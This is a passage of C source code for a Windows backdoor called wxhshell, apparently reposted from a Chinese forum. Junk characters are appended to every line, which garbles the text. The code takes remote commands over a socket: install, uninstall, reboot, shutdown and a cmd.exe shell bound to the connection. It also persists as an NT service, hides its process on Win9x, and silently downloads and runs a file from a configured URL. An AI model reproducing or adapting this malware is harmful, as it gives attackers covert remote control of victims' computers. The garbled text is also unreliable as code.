  else YP<ms  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SulY1,  
  } +=h:Vb8  
  else {  /maJtX'  
d1T!+I  
    switch(cmd[0]) { 4at?(B+  
  DCa^ u'f  
  // 帮助 9=tIz  
  case '?': { Gz0]}]A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3=[mP, pLh  
    break; `}\ "Aw c  
  } 8Fh)eha9f  
  // 安装 U/M>?G~  
  case 'i': { q?:dCFw$x5  
    if(Install()) &-w Cvp7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tOD6&<  
    else 3}1u\(Mf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %;' s4ly  
    break; .{^5X)  
    } ^\% (,KNo  
  // 卸载 8,%^ M9zBP  
  case 'r': { 2,F .$X  
    if(Uninstall()) ;(%QD 3>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ax@$+/Z!  
    else ~~P5k:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zx@a/jLO[n  
    break; 5DZ#9m/  
    } gD?l-RT>  
  // 显示 wxhshell 所在路径 $PPi5f}HD  
  case 'p': { .<FH>NW)  
    char svExeFile[MAX_PATH]; sP~<*U.7  
    strcpy(svExeFile,"\n\r"); j$:~Rek  
      strcat(svExeFile,ExeFile); 00y!K m_D  
        send(wsh,svExeFile,strlen(svExeFile),0); uzPV To|=  
    break; q`-N7 ,$T  
    } 33q}CzK  
  // 重启 ^ @5QP$.  
  case 'b': { V!=,0zy~Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *&W"bOMH*  
    if(Boot(REBOOT)) `w Vyb>T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `h\j99  
    else { J@'wf8Ub  
    closesocket(wsh); SfyQ$$Z  
    ExitThread(0); CRE3icXbQ  
    } 'H!Uh]!  
    break; R n[cW5Y<  
    } AT3Mlz~7#  
  // 关机 tNI^@xdim1  
  case 'd': {  8nJpp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dn3y\  
    if(Boot(SHUTDOWN)) m(!FHPvN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fxz"DZY6  
    else { fr3d  
    closesocket(wsh); y%T_pTcU  
    ExitThread(0); kevrsV]/$  
    } ]ieeP4*  
    break; ;^*W+,4WB  
    } *)Zdz9E'1(  
  // 获取shell f6Ah6tb  
  case 's': { CTa57R  
    CmdShell(wsh); oc`H}Wvn  
    closesocket(wsh); F41=b4/  
    ExitThread(0); 3 0H?KAV  
    break; ,"ZMRq  
  } ?a5!H*,  
  // 退出 T5h H  
  case 'x': { 4[e X e$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cwg"c4V  
    CloseIt(wsh); z:*|a+cy  
    break; D,feF9  
    } ,qxu|9L  
  // 离开 bn5 Su=]  
  case 'q': { 25?6gu*Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ICQKP1WFp  
    closesocket(wsh); .q>iXE_c  
    WSACleanup(); C'x&Py/#  
    exit(1); :o3N;*o>)0  
    break; L,!?Nt\  
        } GTd,n=  
  } .k !{*  
  } {wKB;?fUvk  
{<KVx9  
  // 提示信息 ]=BB#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [W&T(%(W-  
} S9.o/mr  
  } 77Dn97l)&  
hgq;`_;1,  
  return; ZECfR>`x  
} qE"OB  
zDG b7S{  
// shell模块句柄 z03K=aZ  
int CmdShell(SOCKET sock) 9'B `]/L  
{ |BXg/gW  
STARTUPINFO si; 2^7`mES  
ZeroMemory(&si,sizeof(si)); h376Be{P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <hyKu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /{I$#:M  
PROCESS_INFORMATION ProcessInfo; 2,b$7xaf  
char cmdline[]="cmd"; !nnC3y{G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); > (<f 0  
  return 0; R|(a@sL  
} ;$4\e)AB  
 RRJ%:5&  
// 自身启动模式 L/K(dkx  
int StartFromService(void) e0 ecD3  
{ (bS&D/N.  
typedef struct }SZd  
{ 3v-~K)hl?  
  DWORD ExitStatus; Vurq t_nb  
  DWORD PebBaseAddress; %cn<ych G  
  DWORD AffinityMask; SpBy3wd  
  DWORD BasePriority; DEgXQ[  
  ULONG UniqueProcessId; LghfM"g  
  ULONG InheritedFromUniqueProcessId; u ga_T  
}   PROCESS_BASIC_INFORMATION; 6u6x  
A#,ZUOPGH  
PROCNTQSIP NtQueryInformationProcess; ;'1d1\wiDQ  
V7/Rby Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [}m[)L\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gX@aG9  
DlJo^|5  
  HANDLE             hProcess; * T1_;4i  
  PROCESS_BASIC_INFORMATION pbi; {!`6zBsP  
HzJz+ x:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]?4hyN   
  if(NULL == hInst ) return 0; -Y8B~@]P?  
$~)SCbL^5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (8OsGn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3so %gvY.'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l]SX@zTb  
*4 n)  
  if (!NtQueryInformationProcess) return 0; >\8+: oS^  
K 8O|?x]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /dHF6yW  
  if(!hProcess) return 0; /bmN\I  
a+QpM*n7Lq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !,PWb3S  
j>kqz>3  
  CloseHandle(hProcess); y();tsW qc  
i XN1I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  \=o-  
if(hProcess==NULL) return 0; 6eCCmIdaM  
<UCl@5g&  
HMODULE hMod; =(^3}x  
char procName[255]; mE[y SrV  
unsigned long cbNeeded; V]^$S"Tv  
X8\GzNE~R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); An@t?#4gxi  
/L 3:  
  CloseHandle(hProcess); ,r}6iFu  
,,r>,Xq 6  
if(strstr(procName,"services")) return 1; // 以服务启动 7:@'B|  
-\MG}5?!  
  return 0; // 注册表启动 FI.\%x  
} X>^fEQq"  
v[<T]1=LRC  
// 主模块 O.M 1@w]  
int StartWxhshell(LPSTR lpCmdLine) ~J]qP#C  
{ qP ,EBE  
  SOCKET wsl; '"Nr,vQo  
BOOL val=TRUE; ~ri5zb20  
  int port=0; 9BB=YnKE  
  struct sockaddr_in door; p7 ~!z.)o  
1;iUWU1@  
  if(wscfg.ws_autoins) Install(); k7^5Bp8=  
,%y /kS]  
port=atoi(lpCmdLine); xD7]C|8o  
+ T+#q@  
if(port<=0) port=wscfg.ws_port; OTv)  
\7_y%HR  
  WSADATA data; {RPI]DcO/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V[V[~;Py  
{..6>fS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ul# r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N>E_%]Ch  
  door.sin_family = AF_INET; n+p }\msH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &&%H%9  
  door.sin_port = htons(port); 9M ]_nPY  
VN.Je: Ju  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kGJC\{N5N  
closesocket(wsl); }B^tL$k  
return 1; >Gu M]qn  
} dWW.Y*339  
6~+e mlD  
  if(listen(wsl,2) == INVALID_SOCKET) { |[lKY+26:{  
closesocket(wsl); AFn7uW!9Gw  
return 1; HKeK<V  
} BLFdHB.$T  
  Wxhshell(wsl); 8,|kao:  
  WSACleanup(); I 6O  
b MBLXk  
return 0; d'ifLQ\  
1H9!5=Ff  
} z!\*Y =e  
r|Z{-*`  
// 以NT服务方式启动 3XKf!P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k{0o9,  
{ ipz5H*  
DWORD   status = 0; !~Z"9(v'C  
  DWORD   specificError = 0xfffffff; ,//S`j$S  
8EY:t zw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (% 9$!v{3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0{mex4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )}v l\7=  
  serviceStatus.dwWin32ExitCode     = 0; P {'b:C  
  serviceStatus.dwServiceSpecificExitCode = 0; `_h&glMJ,q  
  serviceStatus.dwCheckPoint       = 0; R#KU^]"(  
  serviceStatus.dwWaitHint       = 0; ULW~90  
:KO2| v\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7 [7"A  
  if (hServiceStatusHandle==0) return; JS77M-Ac  
92{\B- l  
status = GetLastError(); ?ubro0F:  
  if (status!=NO_ERROR) $d4n"+7  
{ '>" 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^@]3R QB  
    serviceStatus.dwCheckPoint       = 0; `mqMLo *  
    serviceStatus.dwWaitHint       = 0; \NC3'G:Ii  
    serviceStatus.dwWin32ExitCode     = status; nFn5v'g  
    serviceStatus.dwServiceSpecificExitCode = specificError; N g,j#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }7X%'Bg=M  
    return; 5 dg(e3T  
  } p[cX O=  
WhDJ7{D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "#48% -'x  
  serviceStatus.dwCheckPoint       = 0; 11lsf/IP  
  serviceStatus.dwWaitHint       = 0; D{!IW!w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g&.=2uP  
} ]f3>-)$*  
PW4q~rc=:  
// 处理NT服务事件,比如:启动、停止 ntY]SK%Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SX*RP;vHy  
{ gZ5 |UR<  
switch(fdwControl) W9)&!&<o  
{ 9FX-1,Jx  
case SERVICE_CONTROL_STOP: ~s{$WL&  
  serviceStatus.dwWin32ExitCode = 0; svSVG:48  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E'8;10s  
  serviceStatus.dwCheckPoint   = 0; bZ6+,J  
  serviceStatus.dwWaitHint     = 0; g78^9Y*1  
  { E.f%H(b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ep}s}Stlr}  
  } W8<%[-r  
  return; %$mA03[MQ  
case SERVICE_CONTROL_PAUSE: d'2A,B~_*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HTtnXBJ)*H  
  break; saAF+H/=  
case SERVICE_CONTROL_CONTINUE: YS ][n_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qWw=8Bq  
  break; o(HbGHIP  
case SERVICE_CONTROL_INTERROGATE: <QvOs@i*  
  break;  @8 6f  
}; OKV8zO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3sk9`=[{$  
} $J2Gf(RU  
n*$ g]G$  
// 标准应用程序主函数 Je{ykL?N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v2?ZQeHr_(  
{ h$*!8=M  
Ls%MGs9PI  
// 获取操作系统版本 w(rE`IgW  
OsIsNt=GetOsVer(); _Y!IEAU/#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8- i#8'/x  
n|;Im&,  
  // 从命令行安装 6wxs1G  
  if(strpbrk(lpCmdLine,"iI")) Install(); $u.z*b_yy  
D]}G.v1  
  // 下载执行文件 {8OCXus3m  
if(wscfg.ws_downexe) { M}Sv8D]I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "oD[v  
  WinExec(wscfg.ws_filenam,SW_HIDE); 36NpfTW  
} v:U-6W_)|  
4Up/p&1@  
if(!OsIsNt) { MJvp6n  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vc2`b3"Br  
HideProc(); m2o0y++TjW  
StartWxhshell(lpCmdLine); ]tD]Wx%  
} SdWV3  
else &o*A {  
  if(StartFromService()) l\mPHA23  
  // 以服务方式启动 OY d !v`<  
  StartServiceCtrlDispatcher(DispatchTable); TNth   
else +0~YP*I`/  
  // 普通方式启动 grYe&(`X  
  StartWxhshell(lpCmdLine); G?ZXWu.  
weQ_*<5%  
return 0; 8RX&k  
}
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只看该作者 1 发表于: 2006-10-10
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